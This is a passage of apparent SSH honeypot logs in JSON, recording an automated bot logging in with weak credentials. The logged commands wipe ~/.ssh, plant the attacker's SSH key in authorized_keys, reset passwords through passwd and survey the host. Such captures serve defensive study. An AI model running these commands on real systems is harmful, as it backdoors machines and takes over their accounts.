ls)"},{"seq":12,"at":"2026-08-27T12:10:01.071193+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:10:01.399557+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:10:02.253846+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:10:02.582823+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:10:02.838251+00:00","kind":"output","latency_ms":null,"data":" 12:10:02 up 7 days, 9:00, 0 user, load average: 0.11, 0.11, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:10:03.166307+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:10:03.999215+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:10:04.327131+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:10:04.837813+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:10:05.164936+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:10:06.054673+00:00","kind":"output","latency_ms":null,"data":"top - 12:10:06 up 7 days, 9:00, 0 user, load average: 0.11, 0.11, 0.13\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:10:06.382316+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:10:07.172715+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:10:07.499631+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:10:07.961131+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:10:08.287152+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:10:09.052953+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:10:09.380403+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:10:10.889783+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:10:11.215682+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:10:12.293575+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Mm12345","method":"password","accepted":true,"tier":"other"}]} {"id":"cee588af-453c-4b67-a80a-765a10a9c803","name":"thrifty-reedy-osprey","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":34602,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:09:54.259468+00:00","ended_at":"2026-08-27T12:09:56.046111+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8f1be544-6866-4c61-9dbe-0e73c904a846","name":"cheerful-tender-seal","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":34594,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:09:51.731699+00:00","ended_at":"2026-08-27T12:09:53.610094+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1f08357d-f587-4488-bc04-95d8113c1b3f","name":"solemn-languid-gadwall","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":44708,"username":"arash","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:08:12.443806+00:00","ended_at":"2026-08-27T12:08:13.652211+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2239,"events":[{"seq":1,"at":"2026-08-27T12:07:53.903003+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:07:54.230479+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:07:58.064272+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:07:58.849218+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:07:59.177300+00:00","kind":"input","latency_ms":null,"data":"echo -e \"arash\\nbIkPAQqXSUtD\\nbIkPAQqXSUtD\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:07:59.503573+00:00","kind":"input","latency_ms":null,"data":"echo \"arash\\nbIkPAQqXSUtD\\nbIkPAQqXSUtD\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:07:59.833075+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:08:00.285752+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:08:00.611700+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:08:01.429166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:08:01.758623+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:08:02.981840+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:08:03.313833+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:08:03.822800+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:08:04.153840+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:08:04.518481+00:00","kind":"output","latency_ms":null,"data":" 12:08:04 up 7 days, 8:58, 0 user, load average: 0.05, 0.05, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:08:04.848540+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:08:05.581400+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:08:05.910639+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:08:06.771310+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:08:07.099703+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:08:07.718361+00:00","kind":"output","latency_ms":null,"data":"top - 12:08:07 up 7 days, 8:58, 0 user, load average: 0.05, 0.05, 0.06\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:08:08.046648+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:08:08.740297+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:08:09.069131+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:08:09.675165+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:08:10.003300+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:08:10.686156+00:00","kind":"output","latency_ms":null,"data":"arash"},{"seq":29,"at":"2026-08-27T12:08:11.012124+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:08:12.116330+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:08:12.444594+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:08:13.557160+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"arash","password":"arash","method":"password","accepted":true,"tier":"other"}]} {"id":"ce01d268-cd51-42b1-b71f-61ca94ade1b8","name":"gritty-hazy-nuthatch","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":44712,"username":"arash","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:07:56.535543+00:00","ended_at":"2026-08-27T12:07:57.962648+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"arash","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6b264416-e89e-40e0-9fd7-51cb7c730b64","name":"blithe-vigilant-pheasant","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":44710,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:07:54.973683+00:00","ended_at":"2026-08-27T12:07:55.880769+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8601141e-53d7-4fed-b4c3-ae24d34ccf98","name":"jaunty-knotted-teal","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":49574,"username":"yf","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:06:01.699560+00:00","ended_at":"2026-08-27T12:06:02.807032+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2219,"events":[{"seq":1,"at":"2026-08-27T12:05:42.836802+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:05:43.169453+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:05:47.671153+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:05:48.533584+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:05:48.866179+00:00","kind":"input","latency_ms":null,"data":"echo -e \"yf\\nI2f9IX3q0zPt\\nI2f9IX3q0zPt\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:05:49.203923+00:00","kind":"input","latency_ms":null,"data":"echo \"yf\\nI2f9IX3q0zPt\\nI2f9IX3q0zPt\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:05:49.517418+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:05:50.391803+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:05:50.719186+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:05:51.988186+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:05:52.321845+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:05:53.141870+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:05:53.469715+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:05:54.136924+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:05:54.464088+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:05:55.236032+00:00","kind":"output","latency_ms":null,"data":" 12:05:55 up 7 days, 8:56, 0 user, load average: 0.16, 0.19, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:05:55.570557+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:05:55.870358+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:05:56.201860+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:05:56.697142+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:05:57.027069+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:05:57.437458+00:00","kind":"output","latency_ms":null,"data":"top - 12:05:57 up 7 days, 8:56, 0 user, load average: 0.16, 0.19, 0.18\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:05:57.771729+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:05:58.203808+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:05:58.533418+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:05:59.143171+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:05:59.472067+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:06:00.155640+00:00","kind":"output","latency_ms":null,"data":"yf"},{"seq":29,"at":"2026-08-27T12:06:00.497319+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:06:01.374508+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:06:01.700455+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:06:02.709163+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"yf","password":"yf","method":"password","accepted":true,"tier":"other"}]} {"id":"68daff2e-5e47-4b94-a6d2-381c057365bc","name":"sterling-nautical-kingfisher","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":49594,"username":"yf","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:05:45.699456+00:00","ended_at":"2026-08-27T12:05:47.566851+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"yf","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a64ae689-556a-4754-adb8-b73bafa1082a","name":"whispering-lawful-cheetah","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":49578,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:05:43.910341+00:00","ended_at":"2026-08-27T12:05:45.045585+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a1f41a3c-dbe5-46b1-8eb5-a6ad2b85ae3e","name":"bashful-gallant-blackbird","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":57434,"username":"inventory","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:04:04.569186+00:00","ended_at":"2026-08-27T12:04:06.052124+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2229,"events":[{"seq":1,"at":"2026-08-27T12:03:46.660318+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:03:46.986693+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:03:51.206768+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:03:51.608207+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:03:51.933549+00:00","kind":"input","latency_ms":null,"data":"echo -e \"inventory\\nR3cUCJ9B32UP\\nR3cUCJ9B32UP\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:03:52.262714+00:00","kind":"input","latency_ms":null,"data":"echo \"inventory\\nR3cUCJ9B32UP\\nR3cUCJ9B32UP\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:03:52.593299+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:03:52.972488+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:03:53.300794+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:03:54.352845+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:03:54.685345+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:03:55.834003+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:03:56.166823+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:03:56.581377+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:03:56.910655+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:03:57.811289+00:00","kind":"output","latency_ms":null,"data":" 12:03:57 up 7 days, 8:54, 0 user, load average: 0.16, 0.14, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:03:58.138414+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:03:58.644030+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:03:58.972748+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:03:59.387600+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:03:59.714924+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:04:00.333170+00:00","kind":"output","latency_ms":null,"data":"top - 12:04:00 up 7 days, 8:54, 0 user, load average: 0.16, 0.14, 0.13\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:04:00.665636+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:04:01.169673+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:04:01.498661+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:04:01.796961+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:04:02.130867+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:04:02.505668+00:00","kind":"output","latency_ms":null,"data":"inventory"},{"seq":29,"at":"2026-08-27T12:04:02.835846+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:04:04.230386+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:04:04.569961+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:04:05.953028+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"inventory","password":"inventory","method":"password","accepted":true,"tier":"other"}]} {"id":"69d96c72-9a00-40ae-9526-ef102ad8e18c","name":"frank-kindly-cardinal","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":59852,"username":"inventory","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:03:49.672515+00:00","ended_at":"2026-08-27T12:03:51.110404+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"inventory","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ed3d6049-1884-4c01-b7ac-bdb3fdf9b2e4","name":"misty-twilight-dormouse","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":57446,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:03:47.734351+00:00","ended_at":"2026-08-27T12:03:49.023695+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9dc33e9e-6f0d-4d60-940a-94ecf7d2212a","name":"calm-slender-caracal","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":39344,"username":"debian","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:02:01.018121+00:00","ended_at":"2026-08-27T12:02:02.890480+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2217,"events":[{"seq":1,"at":"2026-08-27T12:01:40.537811+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia 